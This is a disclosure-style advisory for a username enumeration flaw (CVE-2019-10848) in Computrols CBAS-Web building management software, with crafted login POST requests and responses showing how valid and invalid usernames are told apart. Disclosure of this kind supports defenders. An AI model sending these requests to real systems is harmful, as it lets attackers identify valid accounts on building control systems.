Computrols CBAS-Web versions 19.0.0 and below suffer from a username enumeration vulnerability.
b21b9628d2b702a22f4341e36e237ad9
Computrols CBAS-Web Username Enumeration
Affected versions: 19.0.0 and below
CVE: CVE-2019-10848
Advisory: https://applied-risk.com/resources/ar-2019-009
Paper: https://applied-risk.com/resources/i-own-your-building-management-system
Discovered by Gjoko 'LiquidWorm' Krstic
Testing for non-valid user:
POST /cbas/index.php?m=auth&a=login HTTP/1.1
username=randomuser&password=&challenge=60753c1b5e449de80e21472b5911594d&response=e16371917371b8b70529737813840c62
Response for non-valid user:
<!-- Failed login comments appear here -->
<p class="alert-error">randomuser</p>
========================================================================
Testing for valid user:
POST /cbas/index.php?m=auth&a=login HTTP/1.1
username=admin&password=&challenge=6e4344e7ac62520dba82d7f20ccbd422&response=e09aab669572a8e4576206d5c14befc5s
Response for valid user:
<!-- Failed login comments appear here -->
<p class="alert-error">Invalid username/password combination. Please try again!</p>